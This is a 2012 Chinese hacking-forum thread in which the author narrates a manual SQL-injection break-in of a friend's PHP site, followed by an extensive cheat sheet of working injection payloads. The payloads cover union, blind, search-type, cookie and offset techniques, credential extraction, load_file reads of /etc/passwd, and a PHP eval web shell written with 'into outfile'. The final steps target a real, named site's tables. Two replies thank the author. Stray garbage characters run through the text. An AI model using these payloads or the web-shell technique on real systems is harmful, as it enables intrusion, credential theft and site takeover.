找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3594|回复: 2
打印 上一主题 下一主题

手工注入拿下一站

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:47:22 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~8 d& w+ V/ J3 T1 Z6 H& q9 Q
让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
6 ^+ Z  Z9 N7 h) ^我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。
* G- m' Z) `3 M' }/ h如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
$ @: l0 J" ~/ v6 {- v1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)# k- s8 W% X6 O: B
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
* u6 B7 U; q; r) N; d2 kWarning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in& _0 n  v6 ?! ^( h: k( i- g6 B  n& q2 Y
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
8 B$ \0 F* b+ N/ j                        
3 s0 ~( s2 M8 ]7 C( d8 X( n9 C1 y2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
- s1 I: I' Y. X$ C. t+ \' [3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意
; }; B+ z* i* D" g4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息5 M% ~" Q8 Q' d8 i$ c! i
5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。
1 U$ h0 ^! l7 [% M有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,0 |3 u, K4 Y9 P& T3 E* t" M
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
9 ~& J5 T7 n0 i. m7 Q我就用的是第二个思路,( u3 O% j, a! i. t  y
提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  0 x2 P1 X/ G7 h8 A; I
6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
$ ~7 P' d1 a9 V  i0 J提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--/ v- Y6 C! X! r" S1 ~) ^% U
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
4 V3 d& e& E9 h. d5 F; P. b7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????: c6 L3 c! b- Y: ?2 W
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....
4 J3 n) A: e0 ^& S* c% F提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --8 _/ M: {* J5 n- i& v; x0 p6 K
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,; l) Z" h8 O- i
调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......0 ^! E  Z- ?) ?; d% D8 N
下面是一些很普遍注入方式资料:1 }3 P+ S4 z+ P$ f. y& G: C
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='
- u/ i1 b9 {) u' m# y9 u1 U拆半法6 n5 k* l! _1 O) F1 W
######################################- }. G' j$ F4 |1 E$ H
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
# k, ~2 d* i3 {3 ?, tand exists (select * from admin)
) O1 Z) `; j  W1 G' @: c- aand exists(select id from admin)- [* j( b1 d# Q3 w( U
and exists(select id from admin where id=1)# V! u1 R; m5 Z+ [( X$ c5 Q- }0 c
and exists(select id from admin where id>1)
9 e/ f+ S& _* V3 b5 M2 A" [: u然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 8 r$ }. X4 c! b1 B
and exists (select username from admin)6 L1 z/ E' v. o/ E: C3 C: J" I* R' a
and exists (select password from admin), x: ~2 s9 i. q3 f. p7 Q6 H
and exists (select id from admin where len(username)<10 and id=1)- g  l* A& c  U
and exists (select id from admin where len(username)>5 and id=1)5 j9 _$ k3 N6 I+ o2 \2 e# r5 Z; y
and exists (select id from admin where len(username)=6 and id=1)
) y" v& G7 ^7 X2 R2 J4 o  P* Zand exists (select id from admin where len(password)<10 and id=1)9 n: m+ `7 r6 u* u; O$ B, A0 _6 r
and exists (select id from admin where len(password)>5 and id=1)
& [; `0 d. [# Q5 M5 ?7 h7 |2 N* Band exists (select id from admin where len(password)=7 and id=1)+ \7 z; H- A& z
and (select top 1 asc(mid(username,1,1)) from admin)=97: M4 @2 q2 ]& U+ Y. Z* o( j
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
  a& j, X# Q! _2 n, y0 Q% {7 s; c猜第二位把username,1,1改成username,2,1就可以了。* j2 ]5 V1 N0 F' n, }: a" L3 U
猜密码把username改成password就OK了
* D& D# D( K! K5 a##################################################
+ H% u/ c2 B1 N2 y* k搜索型注入
" V. q. y% u' K* Z: _+ `) V##################################
+ d/ z$ @6 G  |* P' x! r5 u1 m%' and 1=1 and '%'='7 j( k( v3 y9 o1 j$ H
%' and exists (select * from admin) and '%'='
3 m7 D! U8 a$ H* V%' and exists(select id from admin where id=1) and '%'='; p& @: G3 j- g3 {5 p4 H7 Z
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='# |3 J8 E, e8 H4 ]" ?$ s' `
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
  k) `* d2 h( M%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='* {- `( A/ F0 H! t# M8 {3 r# C+ e3 {
这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='
: N5 V" R2 T$ P( Z5 Y, H对于MSSQL数据库,后面可以吧 and '%'='换成--
6 R; @* y4 ]" s' W0 c0 I2 D2 q0 ~还有一点搜索型注入也可以使用union语句。- v% F9 ~/ D( I& }
########################################################' B+ F, Z. s; u1 C# @" f4 l9 J
联合查询。( E* d. i8 Y1 O: W* X+ o
#####################################
9 y. _- t7 }& p! z: Dorder by 10
8 v3 W, Q  J& F5 x5 nand 1=2 union select 1,2,3,4,5,6,7,8,9,100 W+ H) W+ s+ c" W- H
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
. A- Z7 I5 F: T% t# M* ^and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
/ z1 B* [( o1 L6 y很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
- B" n; a1 ]* h& R5 |###################################
: ~: a/ u- Q: y' Hcookie注入3 E4 [$ q/ m# z1 `7 q
###############################
% _5 t  C3 z( E4 Xhttp://www.******.com/shownews.asp?id=127: G2 Y& ~+ J4 t9 @: S
http://www.******.com/shownews.asp
' a7 R& }) i# Yalert(="id="+escape("127"));
: y8 q5 m" M" P4 Z6 W8 jalert(="id="+escape("127 and 1=1"));
8 I- Q/ I6 t7 C4 L( E( M* L% }( Z  ialert(="id="+escape("127 order by 10"));) E1 {6 _+ x! l: N, A
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));5 w' D- J, S7 v7 F
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));5 u/ w$ g# k8 V, j
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。
: B$ z9 Z% ^- l###################################+ P+ L; {' y# `
偏移注入
8 r' K5 `% V  @9 A! E0 y###########################################################
7 ]2 S" S: |2 M  b' J2 hunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
" T, s% I# D0 z- m: u. {6 L3 i2 Tunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin- R, U" l0 D& A( R! u. j% e( j
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)/ u1 l+ D8 T% J2 x
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
. x  w; q0 O' [: y3 cunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
3 G: X% ?- {6 D1 tunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)$ v" b9 D: ^1 `0 h9 [+ k  Y, S
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on. n# t4 q! V5 S
a.id=d.id)
3 [! y# }- f, {4 T; L% S* Nand 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)8 J  Z. |3 s; F! N4 D
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) * R# b; R% ~" j; I
  # W2 e" p4 Y- t& \
============================================================================================================
7 k' M. ]$ T" |5 L* l1.判断版本' R' y/ @& M3 D$ ^5 p2 g
and ord(mid(version(),1,1))>51! O" {& v/ }0 k+ f6 C
返回正常,说明大于4.0版本,支持ounion查询
( e8 ~7 N6 y* R, h7 d* I! M* R2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解( z/ g  \6 i" a5 ?! V5 h: h6 U4 W5 I
and 2=4 union select 1,2,3,4,5,6,7,8,9--
& }6 F5 }* i% v9 m% ^. R3.查看数据库版本及当前用户,! |, m7 J' V/ ~6 p3 `5 `% M0 c# y
and 2=4 union select 1,user(),version(),4,5,6,7,8,9--% M4 }+ W% S! j0 N& P
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
8 p+ A/ j4 _( J- W/ f4.判断有没有写权限; b# s1 l2 T0 v  R1 \5 a
and (select count(*) from MySQL.user)>0-- $ a! g# v; ~4 u, F
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1& e" J' l; X. v, E6 Y6 [
用不了这个命令,就学习土耳其黑客手法,如下4 H' s# X5 }& o$ l
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
& O) S; O2 i2 E" D5 p# Q6.爆表,爆库
9 B/ }7 [3 z' D& R$ u* Y; r9 p" l. iand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--5 ]1 s' o! E" U6 Y- h+ Y
7.爆列名,爆表4 ?: ?/ \/ I1 c. w+ |  N
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--4 {5 Y3 e) \6 d; L2 I
8.查询字段数,直接用limit N,1去查询,直接N到报错为止。1 B* a# z& a  G) L
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--% _: G* d. m: @2 A  p' }
9.爆字段内容
# ^1 R+ H: z, H. Sand+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--. |3 X1 g0 M6 @! K
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
回复

使用道具 举报

沙发
发表于 2012-9-24 21:40:46 | 只看该作者
非常好的归纳。坐下慢慢看~
回复 支持 反对

使用道具 举报

板凳
发表于 2012-9-25 18:53:39 | 只看该作者
谢谢分享,学习思路啊
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表